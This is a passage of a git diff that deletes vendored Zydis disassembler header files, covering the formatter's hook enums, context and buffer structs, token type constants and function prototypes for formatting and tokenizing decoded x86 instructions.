`ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION`. - */ - ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION, - - /* ---------------------------------------------------------------------------------------- */ - /* Operands */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked before the formatter formats an operand. - */ - ZYDIS_FORMATTER_FUNC_PRE_OPERAND, - /** - * This function is invoked after the formatter formatted an operand. - */ - ZYDIS_FORMATTER_FUNC_POST_OPERAND, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked to format a register operand. - */ - ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG, - /** - * This function is invoked to format a memory operand. - * - * Replacing this function might indirectly disable some specific calls to the - * `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST`, `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT`, - * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` and `ZYDIS_FORMATTER_FUNC_PRINT_DISP` functions. - */ - ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM, - /** - * This function is invoked to format a pointer operand. - */ - ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR, - /** - * This function is invoked to format an immediate operand. - * - * Replacing this function might indirectly disable some specific calls to the - * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS`, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` and - * `ZYDIS_FORMATTER_FUNC_PRINT_IMM` functions. - */ - ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM, - - /* ---------------------------------------------------------------------------------------- */ - /* Elemental tokens */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked to print the instruction mnemonic. - */ - ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked to print a register. - */ - ZYDIS_FORMATTER_FUNC_PRINT_REGISTER, - /** - * This function is invoked to print absolute addresses. - * - * Conditionally invoked, if a runtime-address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was - * passed: - * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) - * - `MEM` operands with `EIP`/`RIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) - * - * Always invoked for: - * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) - */ - ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS, - /** - * This function is invoked to print relative addresses. - * - * Conditionally invoked, if `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as runtime-address: - * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) - */ - ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL, - /** - * This function is invoked to print a memory displacement value. - * - * If the memory displacement contains an address and a runtime-address different to - * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called - * instead. - */ - ZYDIS_FORMATTER_FUNC_PRINT_DISP, - /** - * This function is invoked to print an immediate value. - * - * If the immediate contains an address and a runtime-address different to - * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called - * instead. - * - * If the immediate contains an address and `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as - * runtime-address, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` is called instead. - */ - ZYDIS_FORMATTER_FUNC_PRINT_IMM, - - /* ---------------------------------------------------------------------------------------- */ - /* Optional tokens */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked to print the size of a memory operand (`INTEL` only). - */ - ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST, - /** - * This function is invoked to print the segment-register of a memory operand. - */ - ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT, - /** - * This function is invoked to print the instruction prefixes. - */ - ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES, - /** - * This function is invoked after formatting an operand to print a `EVEX`/`MVEX` - * decorator. - */ - ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * Maximum value of this enum. - */ - ZYDIS_FORMATTER_FUNC_MAX_VALUE = ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_FORMATTER_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_FUNC_MAX_VALUE) -} ZydisFormatterFunction; - -/* ---------------------------------------------------------------------------------------------- */ -/* Decorator types */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecorator` enum. - */ -typedef enum ZydisDecorator_ -{ - ZYDIS_DECORATOR_INVALID, - /** - * The embedded-mask decorator. - */ - ZYDIS_DECORATOR_MASK, - /** - * The broadcast decorator. - */ - ZYDIS_DECORATOR_BC, - /** - * The rounding-control decorator. - */ - ZYDIS_DECORATOR_RC, - /** - * The suppress-all-exceptions decorator. - */ - ZYDIS_DECORATOR_SAE, - /** - * The register-swizzle decorator. - */ - ZYDIS_DECORATOR_SWIZZLE, - /** - * The conversion decorator. - */ - ZYDIS_DECORATOR_CONVERSION, - /** - * The eviction-hint decorator. - */ - ZYDIS_DECORATOR_EH, - - /** - * Maximum value of this enum. - */ - ZYDIS_DECORATOR_MAX_VALUE = ZYDIS_DECORATOR_EH, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_DECORATOR_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECORATOR_MAX_VALUE) -} ZydisDecorator; - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatter context */ -/* ---------------------------------------------------------------------------------------------- */ - -typedef struct ZydisFormatter_ ZydisFormatter; - -/** - * Defines the `ZydisFormatterContext` struct. - */ -typedef struct ZydisFormatterContext_ -{ - /** - * A pointer to the `ZydisDecodedInstruction` struct. - */ - const ZydisDecodedInstruction* instruction; - /** - * A pointer to the `ZydisDecodedOperand` struct. - */ - const ZydisDecodedOperand* operand; - /** - * The runtime address of the instruction. - */ - ZyanU64 runtime_address; - /** - * A pointer to user-defined data. - */ - void* user_data; -} ZydisFormatterContext; - -/* ---------------------------------------------------------------------------------------------- */ -/* Function prototypes */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatterFunc` function prototype. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param context A pointer to the `ZydisFormatterContext` struct. - * - * @return A zyan status code. - * - * Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the formatting - * process to fail (see exceptions below). - * - * Returning `ZYDIS_STATUS_SKIP_TOKEN` is valid for functions of the following types and will - * instruct the formatter to omit the whole operand: - * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` - * - * This function prototype is used by functions of the following types: - * - `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` - * - `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` - * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` - * - `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC` - * - `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` - * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` - * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` - * - `ZYDIS_FORMATTER_FUNC_PRINT_DISP` - * - `ZYDIS_FORMATTER_FUNC_PRINT_IMM` - * - `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` - * - `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` - */ -typedef ZyanStatus (*ZydisFormatterFunc)(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); - - /** - * Defines the `ZydisFormatterRegisterFunc` function prototype. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param context A pointer to the `ZydisFormatterContext` struct. - * @param reg The register. - * - * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the - * formatting process to fail. - * - * This function prototype is used by functions of the following types: - * - `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER`. - */ -typedef ZyanStatus (*ZydisFormatterRegisterFunc)(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); - -/** - * Defines the `ZydisFormatterDecoratorFunc` function prototype. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param buffer A pointer to the `ZydisFormatterBuffer` struct. - * @param context A pointer to the `ZydisFormatterContext` struct. - * @param decorator The decorator type. - * - * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the - * formatting process to fail. - * - * This function type is used for: - * - `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` - */ -typedef ZyanStatus (*ZydisFormatterDecoratorFunc)(const ZydisFormatter* formatter, - ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatter struct */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatter` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - * - * Do NOT change the order of the function fields or the values of the `ZydisFormatterFunction` - * enum. - */ -struct ZydisFormatter_ -{ - /** - * The formatter style. - */ - ZydisFormatterStyle style; - /** - * The `ZYDIS_FORMATTER_PROP_FORCE_SIZE` property. - */ - ZyanBool force_memory_size; - /** - * The `ZYDIS_FORMATTER_PROP_FORCE_SEGMENT` property. - */ - ZyanBool force_memory_segment; - /** - * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES` property. - */ - ZyanBool force_relative_branches; - /** - * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL` property. - */ - ZyanBool force_relative_riprel; - /** - * The `ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE` property. - */ - ZyanBool print_branch_size; - /** - * The `ZYDIS_FORMATTER_DETAILED_PREFIXES` property. - */ - ZyanBool detailed_prefixes; - /** - * The `ZYDIS_FORMATTER_ADDR_BASE` property. - */ - ZydisNumericBase addr_base; - /** - * The `ZYDIS_FORMATTER_ADDR_SIGNEDNESS` property. - */ - ZydisSignedness addr_signedness; - /** - * The `ZYDIS_FORMATTER_ADDR_PADDING_ABSOLUTE` property. - */ - ZydisPadding addr_padding_absolute; - /** - * The `ZYDIS_FORMATTER_ADDR_PADDING_RELATIVE` property. - */ - ZydisPadding addr_padding_relative; - /** - * The `ZYDIS_FORMATTER_DISP_BASE` property. - */ - ZydisNumericBase disp_base; - /** - * The `ZYDIS_FORMATTER_DISP_SIGNEDNESS` property. - */ - ZydisSignedness disp_signedness; - /** - * The `ZYDIS_FORMATTER_DISP_PADDING` property. - */ - ZydisPadding disp_padding; - /** - * The `ZYDIS_FORMATTER_IMM_BASE` property. - */ - ZydisNumericBase imm_base; - /** - * The `ZYDIS_FORMATTER_IMM_SIGNEDNESS` property. - */ - ZydisSignedness imm_signedness; - /** - * The `ZYDIS_FORMATTER_IMM_PADDING` property. - */ - ZydisPadding imm_padding; - /** - * The `ZYDIS_FORMATTER_UPPERCASE_PREFIXES` property. - */ - ZyanI32 case_prefixes; - /** - * The `ZYDIS_FORMATTER_UPPERCASE_MNEMONIC` property. - */ - ZyanI32 case_mnemonic; - /** - * The `ZYDIS_FORMATTER_UPPERCASE_REGISTERS` property. - */ - ZyanI32 case_registers; - /** - * The `ZYDIS_FORMATTER_UPPERCASE_TYPECASTS` property. - */ - ZyanI32 case_typecasts; - /** - * The `ZYDIS_FORMATTER_UPPERCASE_DECORATORS` property. - */ - ZyanI32 case_decorators; - /** - * The `ZYDIS_FORMATTER_HEX_UPPERCASE` property. - */ - ZyanBool hex_uppercase; - /** - * The number formats for all numeric bases. - * - * Index 0 = prefix - * Index 1 = suffix - */ - struct - { - /** - * A pointer to the `ZyanStringView` to use as prefix/suffix. - */ - const ZyanStringView* string; - /** - * The `ZyanStringView` to use as prefix/suffix - */ - ZyanStringView string_data; - /** - * The actual string data. - */ - char buffer[11]; - } number_format[ZYDIS_NUMERIC_BASE_MAX_VALUE + 1][2]; - /** - * The `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` function. - */ - ZydisFormatterFunc func_pre_instruction; - /** - * The `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` function. - */ - ZydisFormatterFunc func_post_instruction; - /** - * The `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` function. - */ - ZydisFormatterFunc func_format_instruction; - /** - * The `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` function. - */ - ZydisFormatterFunc func_pre_operand; - /** - * The `ZYDIS_FORMATTER_FUNC_POST_OPERAND` function. - */ - ZydisFormatterFunc func_post_operand; - /** - * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` function. - */ - ZydisFormatterFunc func_format_operand_reg; - /** - * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` function. - */ - ZydisFormatterFunc func_format_operand_mem; - /** - * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` function. - */ - ZydisFormatterFunc func_format_operand_ptr; - /** - * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` function. - */ - ZydisFormatterFunc func_format_operand_imm; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC function. - */ - ZydisFormatterFunc func_print_mnemonic; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER` function. - */ - ZydisFormatterRegisterFunc func_print_register; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` function. - */ - ZydisFormatterFunc func_print_address_abs; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` function. - */ - ZydisFormatterFunc func_print_address_rel; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_DISP` function. - */ - ZydisFormatterFunc func_print_disp; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_IMM` function. - */ - ZydisFormatterFunc func_print_imm; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` function. - */ - ZydisFormatterFunc func_print_typecast; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` function. - */ - ZydisFormatterFunc func_print_segment; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` function. - */ - ZydisFormatterFunc func_print_prefixes; - /** - * The `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` function. - */ - ZydisFormatterDecoratorFunc func_print_decorator; -}; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup formatter Formatter - * Functions allowing formatting of previously decoded instructions to human readable text. - * @{ - */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Initialization */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Initializes the given `ZydisFormatter` instance. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param style The base formatter style (either `AT&T` or `Intel` style). - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterInit(ZydisFormatter* formatter, ZydisFormatterStyle style); - -/* ---------------------------------------------------------------------------------------------- */ -/* Setter */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Changes the value of the specified formatter `property`. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param property The id of the formatter-property. - * @param value The new value. - * - * @return A zyan status code. - * - * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a property can't be changed for the - * current formatter-style. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterSetProperty(ZydisFormatter* formatter, - ZydisFormatterProperty property, ZyanUPointer value); - -/** - * Replaces a formatter function with a custom callback and/or retrieves the currently - * used function. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param type The formatter function-type. - * @param callback A pointer to a variable that contains the pointer of the callback function - * and receives the pointer of the currently used function. - * - * @return A zyan status code. - * - * Call this function with `callback` pointing to a `ZYAN_NULL` value to retrieve the currently - * used function without replacing it. - * - * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a function can't be replaced for the - * current formatter-style. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterSetHook(ZydisFormatter* formatter, - ZydisFormatterFunction type, const void** callback); - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatting */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Formats the given instruction and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in characters). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstruction(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, - ZyanU64 runtime_address); - -/** - * Formats the given instruction and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in characters). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param user_data A pointer to user-defined data which can be used in custom formatter - * callbacks. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstructionEx(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, - ZyanU64 runtime_address, void* user_data); - -/** - * Formats the given operand and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param index The index of the operand to format. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in characters). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * - * @return A zyan status code. - * - * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a - * complete instruction. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperand(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, - ZyanU64 runtime_address); - -/** - * Formats the given operand and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param index The index of the operand to format. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in characters). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param user_data A pointer to user-defined data which can be used in custom formatter - * callbacks. - * - * @return A zyan status code. - * - * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a - * complete instruction. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperandEx(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, - ZyanU64 runtime_address, void* user_data); - -/* ---------------------------------------------------------------------------------------------- */ -/* Tokenizing */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Tokenizes the given instruction and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in bytes). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param token Receives a pointer to the first token in the output buffer. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstruction(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, - ZyanU64 runtime_address, ZydisFormatterTokenConst** token); - -/** - * Tokenizes the given instruction and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in bytes). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param token Receives a pointer to the first token in the output buffer. - * @param user_data A pointer to user-defined data which can be used in custom formatter - * callbacks. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstructionEx(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, - ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); - -/** - * Tokenizes the given operand and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param index The index of the operand to format. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in bytes). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param token Receives a pointer to the first token in the output buffer. - * - * @return A zyan status code. - * - * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a - * complete instruction. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperand(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, - ZyanU64 runtime_address, ZydisFormatterTokenConst** token); - -/** - * Tokenizes the given operand and writes it into the output buffer. - * - * @param formatter A pointer to the `ZydisFormatter` instance. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param index The index of the operand to format. - * @param buffer A pointer to the output buffer. - * @param length The length of the output buffer (in bytes). - * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` - * to print relative addresses. - * @param token Receives a pointer to the first token in the output buffer. - * @param user_data A pointer to user-defined data which can be used in custom formatter - * callbacks. - * - * @return A zyan status code. - * - * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a - * complete instruction. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperandEx(const ZydisFormatter* formatter, - const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, - ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * @} - */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_FORMATTER_H */ diff --git a/src/Theodosius/Zydis/FormatterBuffer.h b/src/Theodosius/Zydis/FormatterBuffer.h deleted file mode 100644 index 2ae2efe..0000000 --- a/src/Theodosius/Zydis/FormatterBuffer.h +++ /dev/null @@ -1,306 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements the `ZydisFormatterToken` type and provides functions to use it. - */ - -#ifndef ZYDIS_FORMATTER_TOKEN_H -#define ZYDIS_FORMATTER_TOKEN_H - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Constants */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Token types */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * @biref Defines the `ZydisTokenType` data-type. - */ -typedef ZyanU8 ZydisTokenType; - -#define ZYDIS_TOKEN_INVALID 0x00 -/** - * A whitespace character. - */ -#define ZYDIS_TOKEN_WHITESPACE 0x01 -/** - * A delimiter character (like `','`, `':'`, `'+'`, `'-'`, `'*'`). - */ -#define ZYDIS_TOKEN_DELIMITER 0x02 -/** - * An opening parenthesis character (like `'('`, `'['`, `'{'`). - */ -#define ZYDIS_TOKEN_PARENTHESIS_OPEN 0x03 -/** - * A closing parenthesis character (like `')'`, `']'`, `'}'`). - */ -#define ZYDIS_TOKEN_PARENTHESIS_CLOSE 0x04 -/** - * A prefix literal (like `"LOCK"`, `"REP"`). - */ -#define ZYDIS_TOKEN_PREFIX 0x05 -/** - * A mnemonic literal (like `"MOV"`, `"VCMPPSD"`, `"LCALL"`). - */ -#define ZYDIS_TOKEN_MNEMONIC 0x06 -/** - * A register literal (like `"RAX"`, `"DS"`, `"%ECX"`). - */ -#define ZYDIS_TOKEN_REGISTER 0x07 -/** - * An absolute address literal (like `0x00400000`). - */ -#define ZYDIS_TOKEN_ADDRESS_ABS 0x08 -/** - * A relative address literal (like `-0x100`). - */ -#define ZYDIS_TOKEN_ADDRESS_REL 0x09 -/** - * A displacement literal (like `0xFFFFFFFF`, `-0x100`, `+0x1234`). - */ -#define ZYDIS_TOKEN_DISPLACEMENT 0x0A -/** - * An immediate literal (like `0xC0`, `-0x1234`, `$0x0000`). - */ -#define ZYDIS_TOKEN_IMMEDIATE 0x0B -/** - * A typecast literal (like `DWORD PTR`). - */ -#define ZYDIS_TOKEN_TYPECAST 0x0C -/** - * A decorator literal (like `"Z"`, `"1TO4"`). - */ -#define ZYDIS_TOKEN_DECORATOR 0x0D -/** - * A symbol literal. - */ -#define ZYDIS_TOKEN_SYMBOL 0x0E - -/** - * The base for user-defined token types. - */ -#define ZYDIS_TOKEN_USER 0x80 - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Token */ -/* ---------------------------------------------------------------------------------------------- */ - -#pragma pack(push, 1) - -/** - * Defines the `ZydisFormatterToken` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZydisFormatterToken_ -{ - /** - * The token type. - */ - ZydisTokenType type; - /** - * An offset to the next token, or `0`. - */ - ZyanU8 next; -} ZydisFormatterToken; - -#pragma pack(pop) - -/** - * Defines the `ZydisFormatterTokenConst` data-type. - */ -typedef const ZydisFormatterToken ZydisFormatterTokenConst; - -/* ---------------------------------------------------------------------------------------------- */ -/* Buffer */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatterBuffer` struct. - * - * All fields in this struct should be considered as "private". Any changes may - * lead to unexpected behavior. - */ -typedef struct ZydisFormatterBuffer_ -{ - /** - * `ZYAN_TRUE`, if the buffer contains a token stream or `ZYAN_FALSE, if it - * contains a simple string. - */ - ZyanBool is_token_list; - /** - * The remaining capacity of the buffer. - */ - ZyanUSize capacity; - /** - * The `ZyanString` instance that refers to the literal value of the most - * recently added token. - */ - ZyanString string; -} ZydisFormatterBuffer; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Token */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the `type` and the string `value` of the given `token`. - * - * @param token A pointer to the `ZydisFormatterToken` struct. - * @param type Receives the token type. - * @param value Receives a pointer to the string value of the token. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenGetValue(const ZydisFormatterToken* token, - ZydisTokenType* type, ZyanConstCharPointer* value); - -/** - * Obtains the next `token` linked to the passed one. - * - * @param token Receives a pointer to the next `ZydisFormatterToken` struct - * linked to the passed one. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenNext(ZydisFormatterTokenConst** token); - -/* ---------------------------------------------------------------------------------------------- */ -/* Buffer */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the current (most recently added) token. - * - * @param buffer A pointer to the 